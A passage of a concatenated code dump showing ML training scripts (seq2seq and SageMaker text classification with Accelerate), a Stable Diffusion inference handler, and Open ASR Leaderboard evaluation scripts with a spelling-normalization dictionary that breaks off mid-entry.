+        if text_column not in column_names:
+            raise ValueError(f"--text_column' value '{args.text_column}' needs to be one of: {', '.join(column_names)}")
+    if args.summary_column is None:
+        summary_column = dataset_columns[1] if dataset_columns is not None else column_names[1]
+    else:
+        summary_column = args.summary_column
+        if summary_column not in column_names:
+            raise ValueError(f"--summary_column' value '{args.summary_column}' needs to be one of: {', '.join(column_names)}")
+    max_target_length = args.max_target_length
+    padding = 'max_length' if args.pad_to_max_length else False
+
+    def preprocess_function(examples):
+        inputs = examples[text_column]
+        targets = examples[summary_column]
+        inputs = [prefix + inp for inp in inputs]
+        model_inputs = tokenizer(inputs, max_length=args.max_source_length, padding=padding, truncation=True)
+        if 't5' in args.model_name_or_path:
+            with tokenizer.as_target_tokenizer():
+                labels = tokenizer(targets, max_length=max_target_length, padding=padding, truncation=True)
+        else:
+            labels = tokenizer(targets, max_length=max_target_length, padding=padding, truncation=True)
+        if padding == 'max_length' and args.ignore_pad_token_for_loss:
+            labels['input_ids'] = [[l if l != tokenizer.pad_token_id else -100 for l in label] for label in labels['input_ids']]
+        model_inputs['labels'] = labels['input_ids']
+        return model_inputs
+    with accelerator.main_process_first():
+        processed_datasets = raw_datasets.map(preprocess_function, batched=True, num_proc=args.preprocessing_num_workers, remove_columns=column_names, load_from_cache_file=not args.overwrite_cache, desc='Running tokenizer on dataset')
+    train_dataset = processed_datasets['train']
+    eval_dataset = processed_datasets['validation']
+    for index in random.sample(range(len(train_dataset)), 1):
+        logger.info(f'Sample {index} of the training set: {train_dataset[index]}.')
+    label_pad_token_id = -100 if args.ignore_pad_token_for_loss else tokenizer.pad_token_id
+    data_collator = DataCollatorForSeq2Seq(tokenizer, model=model, label_pad_token_id=label_pad_token_id, pad_to_multiple_of=8 if accelerator.use_fp16 else None)
+    train_dataloader = DataLoader(train_dataset, shuffle=True, collate_fn=data_collator, batch_size=args.per_device_train_batch_size)
+    eval_dataloader = DataLoader(eval_dataset, collate_fn=data_collator, batch_size=args.per_device_eval_batch_size)
+    no_decay = ['bias', 'LayerNorm.weight']
+    optimizer_grouped_parameters = [{'params': [p for (n, p) in model.named_parameters() if not any((nd in n for nd in no_decay))], 'weight_decay': args.weight_decay}, {'params': [p for (n, p) in model.named_parameters() if any((nd in n for nd in no_decay))], 'weight_decay': 0.0}]
+    optimizer_cls = torch.optim.Adam if accelerator.state.deepspeed_plugin is None or 'optimizer' not in accelerator.state.deepspeed_plugin.deepspeed_config else DummyOptim
+    optimizer = optimizer_cls(optimizer_grouped_parameters, lr=args.learning_rate)
+    if accelerator.state.deepspeed_plugin is not None:
+        args.gradient_accumulation_steps = accelerator.state.deepspeed_plugin.deepspeed_config['gradient_accumulation_steps']
+    num_update_steps_per_epoch = math.ceil(len(train_dataloader) / args.gradient_accumulation_steps)
+    if args.max_train_steps is None:
+        args.max_train_steps = args.num_train_epochs * num_update_steps_per_epoch
+    else:
+        args.num_train_epochs = math.ceil(args.max_train_steps / num_update_steps_per_epoch)
+    if accelerator.state.deepspeed_plugin is None or 'scheduler' not in accelerator.state.deepspeed_plugin.deepspeed_config:
+        lr_scheduler = get_scheduler(name=args.lr_scheduler_type, optimizer=optimizer, num_warmup_steps=args.num_warmup_steps, num_training_steps=args.max_train_steps)
+    else:
+        lr_scheduler = DummyScheduler(optimizer, total_num_steps=args.max_train_steps, warmup_num_steps=args.num_warmup_steps)
+    (model, optimizer, train_dataloader, eval_dataloader, lr_scheduler) = accelerator.prepare(model, optimizer, train_dataloader, eval_dataloader, lr_scheduler)
+    num_update_steps_per_epoch = math.ceil(len(train_dataloader) / args.gradient_accumulation_steps)
+    args.max_train_steps = args.num_train_epochs * num_update_steps_per_epoch
+    if hasattr(args.checkpointing_steps, 'isdigit'):
+        checkpointing_steps = args.checkpointing_steps
+        if args.checkpointing_steps.isdigit():
+            checkpointing_steps = int(args.checkpointing_steps)
+    else:
+        checkpointing_steps = None
+    if args.with_tracking:
+        if accelerator.is_main_process:
+            experiment_config = vars(args)
+            experiment_config['lr_scheduler_type'] = experiment_config['lr_scheduler_type'].value
+            accelerator.init_trackers(args.report_name, experiment_config)
+    metric = load_metric('sacrebleu')
+    total_batch_size = args.per_device_train_batch_size * accelerator.num_processes * args.gradient_accumulation_steps
+    logger.info('***** Running training *****')
+    logger.info(f'  Num examples = {len(train_dataset)}')
+    logger.info(f'  Num Epochs = {args.num_train_epochs}')
+    logger.info(f'  Instantaneous batch size per device = {args.per_device_train_batch_size}')
+    logger.info(f'  Total train batch size (w. parallel, distributed & accumulation) = {total_batch_size}')
+    logger.info(f'  Gradient Accumulation steps = {args.gradient_accumulation_steps}')
+    logger.info(f'  Total optimization steps = {args.max_train_steps}')
+    progress_bar = tqdm(range(args.max_train_steps), disable=not accelerator.is_local_main_process)
+    completed_steps = 0
+    starting_epoch = 0
+    best_metric = None
+    best_metric_checkpoint = None
+    if args.resume_from_checkpoint:
+        (_, last_global_step) = load_training_checkpoint(model, args.resume_from_checkpoint, **{'load_optimizer_states': True, 'load_lr_scheduler_states': True})
+        accelerator.print(f'Resumed from checkpoint: {args.resume_from_checkpoint}')
+        resume_step = last_global_step
+        starting_epoch = resume_step // len(train_dataloader)
+        resume_step -= starting_epoch * len(train_dataloader)
+    for epoch in range(starting_epoch, args.num_train_epochs):
+        start_time = time()
+        model.train()
+        if args.with_tracking:
+            total_loss = 0
+        for (step, batch) in enumerate(train_dataloader):
+            if args.resume_from_checkpoint and epoch == starting_epoch:
+                if resume_step is not None and step < resume_step:
+                    completed_steps += 1
+                    continue
+            decoder_input_ids = batch['labels'].new_zeros(batch['labels'].shape)
+            decoder_input_ids[..., 1:] = batch['labels'][..., :-1].clone()
+            decoder_input_ids[..., 0] = 0
+            decoder_input_ids.masked_fill_(decoder_input_ids == -100, 0)
+            batch['decoder_input_ids'] = decoder_input_ids
+            outputs = model(**batch)
+            loss = outputs.loss
+            if args.with_tracking:
+                total_loss += loss.detach().float()
+            loss = loss / args.gradient_accumulation_steps
+            accelerator.backward(loss)
+            if step % args.gradient_accumulation_steps == 0 or step == len(train_dataloader) - 1:
+                optimizer.step()
+                lr_scheduler.step()
+                optimizer.zero_grad()
+                progress_bar.update(1)
+                completed_steps += 1
+            if isinstance(args.logging_steps, int):
+                if completed_steps % args.logging_steps == 0:
+                    steps_this_epoch = completed_steps % len(train_dataloader)
+                    train_loss = total_loss.item() / steps_this_epoch
+                    train_perplexity = math.exp(train_loss)
+                    accelerator.log({'train_loss': train_loss, 'train_perplexity': train_perplexity, 'epoch': epoch, 'step': completed_steps, 'steps_this_epoch': steps_this_epoch}, step=completed_steps)
+                    logger.info(f'Epoch: {epoch}, Step: {completed_steps}, Loss: {train_loss}, Perplexity: {train_perplexity}')
+            if isinstance(checkpointing_steps, int):
+                if completed_steps % checkpointing_steps == 0:
+                    if accelerator.state.deepspeed_plugin is not None:
+                        checkpoint_model(args.output_dir, epoch, model, epoch, completed_steps)
+                    else:
+                        accelerator.wait_for_everyone()
+                        if accelerator.is_main_process:
+                            ckpt_path = os.path.join(args.output_dir, str(epoch))
+                            os.makedirs(ckpt_path, exist_ok=True)
+                            accelerator.save(accelerator.get_state_dict(model), os.path.join(ckpt_path, 'model.pt'))
+            if completed_steps >= args.max_train_steps:
+                break
+        end_time = time()
+        logger.info(f'Epoch {epoch} training took {end_time - start_time} seconds')
+        if accelerator.state.deepspeed_plugin is not None:
+            checkpoint_model(args.output_dir, epoch, model, epoch, completed_steps)
+        else:
+            accelerator.wait_for_everyone()
+            if accelerator.is_main_process:
+                ckpt_path = os.path.join(args.output_dir, str(epoch))
+                os.makedirs(ckpt_path, exist_ok=True)
+                accelerator.save(accelerator.get_state_dict(model), os.path.join(ckpt_path, 'model.pt'))
+        start_time = time()
+        bleu_score = evaluate(args, model, metric, tokenizer, eval_dataloader, accelerator, config.max_length)
+        end_time = time()
+        logger.info(f'Epoch {epoch} evaluation took {end_time - start_time} seconds')
+        result = {}
+        if args.with_tracking:
+            result['bleu_score'] = bleu_score
+            result['train_loss'] = total_loss.item() / len(train_dataloader)
+            result['train_perplexity'] = math.exp(result['train_loss'])
+            result['epoch'] = epoch
+            result['step'] = completed_steps
+            accelerator.log(result, step=completed_steps)
+        if (best_metric is None or best_metric < bleu_score) and args.load_best_model:
+            best_metric = bleu_score
+            best_metric_checkpoint = os.path.join(args.output_dir, str(epoch))
+            accelerator.print(f'New best metric: {best_metric} at epoch {epoch}')
+            accelerator.print(f'best_metric_checkpoint: {best_metric_checkpoint}')
+    if args.load_best_model:
+        if accelerator.state.deepspeed_plugin is not None:
+            (_, last_global_step) = load_training_checkpoint(model, '/'.join(best_metric_checkpoint.split('/')[:-1]), tag=best_metric_checkpoint.split('/')[-1], **{'load_optimizer_states': True, 'load_lr_scheduler_states': True})
+        else:
+            map_location = {'cuda:0': 'cuda:{}'.format(accelerator.local_process_index)}
+            model.load_state_dict(torch.load(os.path.join(best_metric_checkpoint, 'model.pt'), map_location=map_location))
+        bleu_score = evaluate(args, model, metric, tokenizer, eval_dataloader, accelerator, config.max_length)
+        logger.info(f'Best model metrics: bleu_score: {bleu_score}')
+        if bleu_score != best_metric:
+            raise AssertionError(f'Best metric {best_metric} does not match the metric {bleu_score} of the loaded best model.')
+    if args.output_dir is not None:
+        accelerator.wait_for_everyone()
+        unwrapped_model = accelerator.unwrap_model(model)
+        unwrapped_model.save_pretrained(args.output_dir, is_main_process=accelerator.is_main_process, save_function=accelerator.save, state_dict=accelerator.get_state_dict(model))
+        if accelerator.is_main_process:
+            tokenizer.save_pretrained(args.output_dir)
+            if args.push_to_hub:
+                repo.push_to_hub(commit_message='End of training', auto_lfs_prune=True)
+        with open(os.path.join(args.output_dir, 'all_results.json'), 'w') as f:
+            json.dump({'eval_bleu': bleu_score}, f)
+if __name__ == '__main__':
+    main()
+
+# File: notebooks-main/sagemaker/22_accelerate_sagemaker_examples/src/text-classification/train_using_s3_data.py
+import argparse
+import os
+import torch
+from torch.optim import AdamW
+from torch.utils.data import DataLoader
+import evaluate
+from accelerate import Accelerator, DistributedType
+from datasets import load_from_disk
+from transformers import AutoModelForSequenceClassification, AutoTokenizer, get_linear_schedule_with_warmup, set_seed
+MAX_GPU_BATCH_SIZE = 16
+EVAL_BATCH_SIZE = 32
+
+def training_function(config, args):
+    if args.with_tracking:
+        accelerator = Accelerator(cpu=args.cpu, mixed_precision=args.mixed_precision, log_with='all', logging_dir=args.logging_dir)
+    else:
+        accelerator = Accelerator(cpu=args.cpu, mixed_precision=args.mixed_precision)
+    if hasattr(args.checkpointing_steps, 'isdigit'):
+        if args.checkpointing_steps == 'epoch':
+            checkpointing_steps = args.checkpointing_steps
+        elif args.checkpointing_steps.isdigit():
+            checkpointing_steps = int(args.checkpointing_steps)
+        else:
+            raise ValueError(f'Argument `checkpointing_steps` must be either a number or `epoch`. `{args.checkpointing_steps}` passed.')
+    else:
+        checkpointing_steps = None
+    lr = config['lr']
+    num_epochs = int(config['num_epochs'])
+    seed = int(config['seed'])
+    batch_size = int(config['batch_size'])
+    if args.with_tracking:
+        run = os.path.split(__file__)[-1].split('.')[0]
+        accelerator.init_trackers(run, config)
+    tokenizer = AutoTokenizer.from_pretrained('bert-base-cased')
+    metric = evaluate.load('glue', 'mrpc')
+    gradient_accumulation_steps = 1
+    if batch_size > MAX_GPU_BATCH_SIZE and accelerator.distributed_type != DistributedType.TPU:
+        gradient_accumulation_steps = batch_size // MAX_GPU_BATCH_SIZE
+        batch_size = MAX_GPU_BATCH_SIZE
+
+    def collate_fn(examples):
+        if accelerator.distributed_type == DistributedType.TPU:
+            return tokenizer.pad(examples, padding='max_length', max_length=128, return_tensors='pt')
+        return tokenizer.pad(examples, padding='longest', return_tensors='pt')
+    train_dataset = load_from_disk(args.training_dir)
+    validation_dataset = load_from_disk(args.validation_dir)
+    accelerator.print(f' loaded train_dataset length is: {len(train_dataset)}')
+    accelerator.print(f' loaded test_dataset length is: {len(validation_dataset)}')
+    train_dataloader = DataLoader(train_dataset, shuffle=True, collate_fn=collate_fn, batch_size=batch_size)
+    eval_dataloader = DataLoader(validation_dataset, shuffle=False, collate_fn=collate_fn, batch_size=EVAL_BATCH_SIZE)
+    set_seed(seed)
+    model = AutoModelForSequenceClassification.from_pretrained('bert-base-cased', return_dict=True)
+    model = model.to(accelerator.device)
+    optimizer = AdamW(params=model.parameters(), lr=lr)
+    lr_scheduler = get_linear_schedule_with_warmup(optimizer=optimizer, num_warmup_steps=100, num_training_steps=len(train_dataloader) * num_epochs // gradient_accumulation_steps)
+    (model, optimizer, train_dataloader, eval_dataloader, lr_scheduler) = accelerator.prepare(model, optimizer, train_dataloader, eval_dataloader, lr_scheduler)
+    overall_step = 0
+    starting_epoch = 0
+    if args.resume_from_checkpoint:
+        if args.resume_from_checkpoint is not None or args.resume_from_checkpoint != '':
+            accelerator.print(f'Resumed from checkpoint: {args.resume_from_checkpoint}')
+            accelerator.load_state(args.resume_from_checkpoint)
+            path = os.path.basename(args.resume_from_checkpoint)
+        else:
+            dirs = [f.name for f in os.scandir(os.getcwd()) if f.is_dir()]
+            dirs.sort(key=os.path.getctime)
+            path = dirs[-1]
+        training_difference = os.path.splitext(path)[0]
+        if 'epoch' in training_difference:
+            starting_epoch = int(training_difference.replace('epoch_', '')) + 1
+            resume_step = None
+        else:
+            resume_step = int(training_difference.replace('step_', ''))
+            starting_epoch = resume_step // len(train_dataloader)
+            resume_step -= starting_epoch * len(train_dataloader)
+    for epoch in range(starting_epoch, num_epochs):
+        model.train()
+        if args.with_tracking:
+            total_loss = 0
+        for (step, batch) in enumerate(train_dataloader):
+            if args.resume_from_checkpoint and epoch == starting_epoch:
+                if resume_step is not None and step < resume_step:
+                    overall_step += 1
+                    continue
+            batch.to(accelerator.device)
+            outputs = model(**batch)
+            loss = outputs.loss
+            loss = loss / gradient_accumulation_steps
+            if args.with_tracking:
+                total_loss += loss.detach().float()
+            accelerator.backward(loss)
+            if step % gradient_accumulation_steps == 0:
+                optimizer.step()
+                lr_scheduler.step()
+                optimizer.zero_grad()
+            overall_step += 1
+            if isinstance(checkpointing_steps, int):
+                output_dir = f'step_{overall_step}'
+                if overall_step % checkpointing_steps == 0:
+                    if args.output_dir is not None:
+                        output_dir = os.path.join(args.output_dir, output_dir)
+                    accelerator.save_state(output_dir)
+        model.eval()
+        for (step, batch) in enumerate(eval_dataloader):
+            batch.to(accelerator.device)
+            with torch.no_grad():
+                outputs = model(**batch)
+            predictions = outputs.logits.argmax(dim=-1)
+            (predictions, references) = accelerator.gather_for_metrics((predictions, batch['labels']))
+            metric.add_batch(predictions=predictions, references=references)
+        eval_metric = metric.compute()
+        accelerator.print(f'epoch {epoch}:', eval_metric)
+        if args.with_tracking:
+            accelerator.log({'accuracy': eval_metric['accuracy'], 'f1': eval_metric['f1'], 'train_loss': total_loss.item() / len(train_dataloader), 'epoch': epoch}, step=epoch)
+        if checkpointing_steps == 'epoch':
+            output_dir = f'epoch_{epoch}'
+            if args.output_dir is not None:
+                output_dir = os.path.join(args.output_dir, output_dir)
+            accelerator.save_state(output_dir)
+    accelerator.save(accelerator.get_state_dict(model), os.path.join(args.output_dir, 'model.pt'))
+    if args.with_tracking:
+        accelerator.end_training()
+
+def main():
+    parser = argparse.ArgumentParser(description='Simple example of training script.')
+    parser.add_argument('--mixed_precision', type=str, default='no', choices=['no', 'fp16', 'bf16'], help='Whether to use mixed precision. Choosebetween fp16 and bf16 (bfloat16). Bf16 requires PyTorch >= 1.10.and an Nvidia Ampere GPU.')
+    parser.add_argument('--cpu', action='store_true', help='If passed, will train on the CPU.')
+    parser.add_argument('--checkpointing_steps', type=str, default=None, help="Whether the various states should be saved at the end of every n steps, or 'epoch' for each epoch.")
+    parser.add_argument('--resume_from_checkpoint', type=str, default=None, help='If the training should continue from a checkpoint folder.')
+    parser.add_argument('--with_tracking', action='store_true', help='Whether to load in all available experiment trackers from the environment and use them for logging.')
+    parser.add_argument('--logging_dir', type=str, default=os.path.join(os.environ['SM_OUTPUT_DATA_DIR'], 'logs'), help='Location on where to store experiment tracking logs`')
+    parser.add_argument('--output_dir', type=str, default=os.environ['SM_MODEL_DIR'])
+    parser.add_argument('--training_dir', type=str, default=os.environ['SM_CHANNEL_TRAIN'])
+    parser.add_argument('--validation_dir', type=str, default=os.environ['SM_CHANNEL_VALIDATION'])
+    args = parser.parse_args()
+    config = {'lr': 2e-05, 'num_epochs': 3, 'seed': 42, 'batch_size': 16}
+    training_function(config, args)
+if __name__ == '__main__':
+    main()
+
+# File: notebooks-main/sagemaker/23_stable_diffusion_inference/code/inference.py
+import base64
+import torch
+from io import BytesIO
+from diffusers import StableDiffusionPipeline
+
+def model_fn(model_dir):
+    pipe = StableDiffusionPipeline.from_pretrained(model_dir, torch_dtype=torch.float16)
+    pipe = pipe.to('cuda')
+    return pipe
+
+def predict_fn(data, pipe):
+    prompt = data.pop('inputs', data)
+    num_inference_steps = data.pop('num_inference_steps', 50)
+    guidance_scale = data.pop('guidance_scale', 7.5)
+    num_images_per_prompt = data.pop('num_images_per_prompt', 4)
+    generated_images = pipe(prompt, num_inference_steps=num_inference_steps, guidance_scale=guidance_scale, num_images_per_prompt=num_images_per_prompt)['images']
+    encoded_images = []
+    for image in generated_images:
+        buffered = BytesIO()
+        image.save(buffered, format='JPEG')
+        encoded_images.append(base64.b64encode(buffered.getvalue()).decode())
+    return {'generated_images': encoded_images}
+

huggingface_open_asr_leaderboard.txt

@@ -0,0 +1,882 @@
+# File: open_asr_leaderboard-main/ctranslate2/run_eval.py
+""""""
+import argparse
+import os
+import time
+import evaluate
+from faster_whisper import WhisperModel
+from tqdm import tqdm
+from normalizer import data_utils
+wer_metric = evaluate.load('wer')
+
+def main(args) -> None:
+    asr_model = WhisperModel(model_size_or_path=args.model_id, compute_type='float16', device='cuda', device_index=args.device)
+
+    def benchmark(batch):
+        start_time = time.time()
+        (segments, _) = asr_model.transcribe(batch['audio']['array'], language='en')
+        outputs = [segment._asdict() for segment in segments]
+        batch['transcription_time_s'] = time.time() - start_time
+        batch['predictions'] = data_utils.normalizer(''.join([segment['text'] for segment in outputs])).strip()
+        batch['references'] = batch['norm_text']
+        return batch
+    if args.warmup_steps is not None:
+        dataset = data_utils.load_data(args)
+        dataset = data_utils.prepare_data(dataset)
+        if args.streaming:
+            warmup_dataset = dataset.take(args.warmup_steps)
+        else:
+            warmup_dataset = dataset.select(range(min(args.warmup_steps, len(dataset))))
+        warmup_dataset = iter(warmup_dataset.map(benchmark, remove_columns=['audio']))
+        for _ in tqdm(warmup_dataset, desc='Warming up...'):
+            continue
+    dataset = data_utils.load_data(args)
+    if args.max_eval_samples is not None and args.max_eval_samples > 0:
+        print(f'Subsampling dataset to first {args.max_eval_samples} samples!')
+        if args.streaming:
+            dataset = dataset.take(args.max_eval_samples)
+        else:
+            dataset = dataset.select(range(min(args.max_eval_samples, len(dataset))))
+    dataset = data_utils.prepare_data(dataset)
+    dataset = dataset.map(benchmark, remove_columns=['audio'])
+    all_results = {'audio_length_s': [], 'transcription_time_s': [], 'predictions': [], 'references': []}
+    result_iter = iter(dataset)
+    for result in tqdm(result_iter, desc='Samples...'):
+        for key in all_results:
+            all_results[key].append(result[key])
+    manifest_path = data_utils.write_manifest(all_results['references'], all_results['predictions'], args.model_id, args.dataset_path, args.dataset, args.split, audio_length=all_results['audio_length_s'], transcription_time=all_results['transcription_time_s'])
+    print('Results saved at path:', os.path.abspath(manifest_path))
+    wer = wer_metric.compute(references=all_results['references'], predictions=all_results['predictions'])
+    wer = round(100 * wer, 2)
+    rtfx = round(sum(all_results['audio_length_s']) / sum(all_results['transcription_time_s']), 2)
+    print('WER:', wer, '%', 'RTFx:', rtfx)
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--model_id', type=str, required=True, help='Model identifier. Should be loadable with faster-whisper')
+    parser.add_argument('--dataset_path', type=str, default='esb/datasets', help='Dataset path. By default, it is `esb/datasets`')
+    parser.add_argument('--dataset', type=str, required=True, help="Dataset name. *E.g.* `'librispeech_asr` for the LibriSpeech ASR dataset, or `'common_voice'` for Common Voice. The full list of dataset names can be found at `https://huggingface.co/datasets/esb/datasets`")
+    parser.add_argument('--split', type=str, default='test', help="Split of the dataset. *E.g.* `'validation`' for the dev split, or `'test'` for the test split.")
+    parser.add_argument('--device', type=int, default=-1, help='The device to run the pipeline on. -1 for CPU (default), 0 for the first GPU and so on.')
+    parser.add_argument('--max_eval_samples', type=int, default=None, help='Number of samples to be evaluated. Put a lower number e.g. 64 for testing this script.')
+    parser.add_argument('--no-streaming', dest='streaming', action='store_false', help="Choose whether you'd like to download the entire dataset or stream it during the evaluation.")
+    parser.add_argument('--warmup_steps', type=int, default=5, help='Number of warm-up steps to run before launching the timed runs.')
+    args = parser.parse_args()
+    parser.set_defaults(streaming=False)
+    main(args)
+
+# File: open_asr_leaderboard-main/nemo_asr/run_eval.py
+import argparse
+import os
+import torch
+import evaluate
+import soundfile
+from tqdm import tqdm
+from normalizer import data_utils
+import numpy as np
+from nemo.collections.asr.models import ASRModel
+import time
+wer_metric = evaluate.load('wer')
+
+def main(args):
+    DATA_CACHE_DIR = os.path.join(os.getcwd(), 'audio_cache')
+    DATASET_NAME = args.dataset
+    SPLIT_NAME = args.split
+    CACHE_DIR = os.path.join(DATA_CACHE_DIR, DATASET_NAME, SPLIT_NAME)
+    if not os.path.exists(CACHE_DIR):
+        os.makedirs(CACHE_DIR)
+    if args.device >= 0:
+        device = torch.device(f'cuda:{args.device}')
+        compute_dtype = torch.bfloat16
+    else:
+        device = torch.device('cpu')
+        compute_dtype = torch.float32
+    if args.model_id.endswith('.nemo'):
+        asr_model = ASRModel.restore_from(args.model_id, map_location=device)
+    else:
+        asr_model = ASRModel.from_pretrained(args.model_id, map_location=device)
+    asr_model.to(compute_dtype)
+    asr_model.eval()
+    dataset = data_utils.load_data(args)
+
+    def download_audio_files(batch):
+        audio_paths = []
+        durations = []
+        for (id, sample) in zip(batch['id'], batch['audio']):
+            audio_path = os.path.join(CACHE_DIR, f'{id}.wav')
+            if not os.path.exists(audio_path):
+                os.makedirs(os.path.dirname(audio_path), exist_ok=True)
+                soundfile.write(audio_path, np.float32(sample['array']), 16000)
+            audio_paths.append(audio_path)
+            durations.append(len(sample['array']) / 16000)
+        batch['references'] = batch['norm_text']
+        batch['audio_filepaths'] = audio_paths
+        batch['durations'] = durations
+        return batch
+    if args.max_eval_samples is not None and args.max_eval_samples > 0:
+        print(f'Subsampling dataset to first {args.max_eval_samples} samples !')
+        dataset = dataset.take(args.max_eval_samples)
+    dataset = data_utils.prepare_data(dataset)
+    if asr_model.cfg.decoding.strategy != 'beam':
+        asr_model.cfg.decoding.strategy = 'greedy_batch'
+        asr_model.change_decoding_strategy(asr_model.cfg.decoding)
+    dataset = dataset.map(download_audio_files, batch_size=args.batch_size, batched=True, remove_columns=['audio'])
+    all_data = {'audio_filepaths': [], 'durations': [], 'references': []}
+    data_itr = iter(dataset)
+    for data in tqdm(data_itr, desc='Downloading Samples'):
+        for key in all_data:
+            all_data[key].append(data[key])
+    sorted_indices = sorted(range(len(all_data['durations'])), key=lambda k: all_data['durations'][k], reverse=True)
+    all_data['audio_filepaths'] = [all_data['audio_filepaths'][i] for i in sorted_indices]
+    all_data['references'] = [all_data['references'][i] for i in sorted_indices]
+    all_data['durations'] = [all_data['durations'][i] for i in sorted_indices]
+    total_time = 0
+    for _ in range(2):
+        if _ == 0:
+            audio_files = all_data['audio_filepaths'][:args.batch_size * 4]
+        else:
+            audio_files = all_data['audio_filepaths']
+        start_time = time.time()
+        with torch.cuda.amp.autocast(enabled=False, dtype=compute_dtype), torch.inference_mode(), torch.no_grad():
+            if 'canary' in args.model_id:
+                transcriptions = asr_model.transcribe(audio_files, batch_size=args.batch_size, verbose=False, pnc='no', num_workers=1)
+            else:
+                transcriptions = asr_model.transcribe(audio_files, batch_size=args.batch_size, verbose=False, num_workers=1)
+        end_time = time.time()
+        if _ == 1:
+            total_time += end_time - start_time
+    total_time = total_time
+    if isinstance(transcriptions, tuple) and len(transcriptions) == 2:
+        transcriptions = transcriptions[0]
+    predictions = [data_utils.normalizer(pred) for pred in transcriptions]
+    avg_time = total_time / len(all_data['audio_filepaths'])
+    manifest_path = data_utils.write_manifest(all_data['references'], predictions, args.model_id, args.dataset_path, args.dataset, args.split, audio_length=all_data['durations'], transcription_time=[avg_time] * len(all_data['audio_filepaths']))
+    print('Results saved at path:', os.path.abspath(manifest_path))
+    wer = wer_metric.compute(references=all_data['references'], predictions=predictions)
+    wer = round(100 * wer, 2)
+    audio_length = sum(all_data['durations'])
+    rtfx = audio_length / total_time
+    rtfx = round(rtfx, 2)
+    print('RTFX:', rtfx)
+    print('WER:', wer, '%')
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--model_id', type=str, required=True, help='Model identifier. Should be loadable with NVIDIA NeMo.')
+    parser.add_argument('--dataset_path', type=str, default='esb/datasets', help='Dataset path. By default, it is `esb/datasets`')
+    parser.add_argument('--dataset', type=str, required=True, help="Dataset name. *E.g.* `'librispeech_asr` for the LibriSpeech ASR dataset, or `'common_voice'` for Common Voice. The full list of dataset names can be found at `https://huggingface.co/datasets/esb/datasets`")
+    parser.add_argument('--split', type=str, default='test', help="Split of the dataset. *E.g.* `'validation`' for the dev split, or `'test'` for the test split.")
+    parser.add_argument('--device', type=int, default=-1, help='The device to run the pipeline on. -1 for CPU (default), 0 for the first GPU and so on.')
+    parser.add_argument('--batch_size', type=int, default=32, help='Number of samples to go through each streamed batch.')
+    parser.add_argument('--max_eval_samples', type=int, default=None, help='Number of samples to be evaluated. Put a lower number e.g. 64 for testing this script.')
+    parser.add_argument('--no-streaming', dest='streaming', action='store_false', help="Choose whether you'd like to download the entire dataset or stream it during the evaluation.")
+    args = parser.parse_args()
+    parser.set_defaults(streaming=True)
+    main(args)
+
+# File: open_asr_leaderboard-main/normalizer/data_utils.py
+from datasets import load_dataset, Audio
+from normalizer import EnglishTextNormalizer
+from .eval_utils import read_manifest, write_manifest
+
+def is_target_text_in_range(ref):
+    if ref.strip() == 'ignore time segment in scoring':
+        return False
+    else:
+        return ref.strip() != ''
+
+def get_text(sample):
+    if 'text' in sample:
+        return sample['text']
+    elif 'sentence' in sample:
+        return sample['sentence']
+    elif 'normalized_text' in sample:
+        return sample['normalized_text']
+    elif 'transcript' in sample:
+        return sample['transcript']
+    elif 'transcription' in sample:
+        return sample['transcription']
+    else:
+        raise ValueError(f"Expected transcript column of either 'text', 'sentence', 'normalized_text' or 'transcript'. Got sample of .join{{sample.keys()}}. Ensure a text column name is present in the dataset.")
+normalizer = EnglishTextNormalizer()
+
+def normalize(batch):
+    batch['original_text'] = get_text(batch)
+    batch['norm_text'] = normalizer(batch['original_text'])
+    return batch
+
+def load_data(args):
+    dataset = load_dataset(args.dataset_path, args.dataset, split=args.split, streaming=args.streaming, token=True)
+    return dataset
+
+def prepare_data(dataset):
+    dataset = dataset.cast_column('audio', Audio(sampling_rate=16000))
+    dataset = dataset.map(normalize)
+    dataset = dataset.filter(is_target_text_in_range, input_columns=['norm_text'])
+    return dataset
+
+# File: open_asr_leaderboard-main/normalizer/english_abbreviations.py
+english_spelling_normalizer = {'accessorise': 'accessorize', 'accessorised': 'accessorized', 'accessorises': 'accessorizes', 'accessorising': 'accessorizing', 'acclimatisation': 'acclimatization', 'acclimatise': 'acclimatize', 'acclimatised': 'acclimatized', 'acclimatises': 'acclimatizes', 'acclimatising': 'acclimatizing', 'accoutrements': 'accouterments', 'aeon': 'eon', 'aeons': 'eons', 'aerogramme': 'aerogram', 'aerogrammes': 'aerograms', 'aeroplane': 'airplane', 'aeroplanes': 'airplanes', 'aesthete': 'esthete', 'aesthetes': 'esthetes', 'aesthetic': 'esthetic', 'aesthetically': 'esthetically', 'aesthetics': 'esthetics', 'aetiology': 'etiology', 'ageing': 'aging', 'aggrandisement': 'aggrandizement', 'agonise': 'agonize', 'agonised': 'agonized', 'agonises': 'agonizes', 'agonising': 'agonizing', 'agonisingly': 'agonizingly', 'almanack': 'almanac', 'almanacks': 'almanacs', 'aluminium': 'aluminum', 'amortisable': 'amortizable', 'amortisation': 'amortization', 'amortisations': 'amortizations', 'amortise': 'amortize', 'amortised': 'amortized', 'amortises': 'amortizes', 'amortising': 'amortizing', 'amphitheatre': 'amphitheater', 'amphitheatres': 'amphitheaters', 'anaemia': 'anemia', 'anaemic': 'anemic', 'anaesthesia': 'anesthesia', 'anaesthetic': 'anesthetic', 'anaesthetics': 'anesthetics', 'anaesthetise': 'anesthetize', 'anaesthetised': 'anesthetized', 'anaesthetises': 'anesthetizes', 'anaesthetising': 'anesthetizing', 'anaesthetist': 'anesthetist', 'anaesthetists': 'anesthetists', 'anaesthetize': 'anesthetize', 'anaesthetized': 'anesthetized', 'anaesthetizes': 'anesthetizes', 'anaesthetizing': 'anesthetizing', 'analogue': 'analog', 'analogues': 'analogs', 'analyse': 'analyze', 'analysed': 'analyzed', 'analyses': 'analyzes', 'analysing': 'analyzing', 'anglicise': 'anglicize', 'anglicised': 'anglicized', 'anglicises': 'anglicizes', 'anglicising': 'anglicizing', 'annualised': 'annualized', 'antagonise': 'antagonize', 'antagonised': 'antagonized', 'antagonises': 'antagonizes', 'antagonising': 'antagonizing', 'apologise': 'apologize', 'apologised': 'apologized', 'apologises': 'apologizes', 'apologising': 'apologizing', 'appal': 'appall', 'appals': 'appalls', 'appetiser': 'appetizer', 'appetisers': 'appetizers', 'appetising': 'appetizing', 'appetisingly': 'appetizingly', 'arbour': 'arbor', 'arbours': 'arbors', 'archaeologically': 'archeologically', 'archaeologist': 'archeologist', 'archaeologists': 'archeologists', 'archaeology': 'archeology</span>', 'archeological': 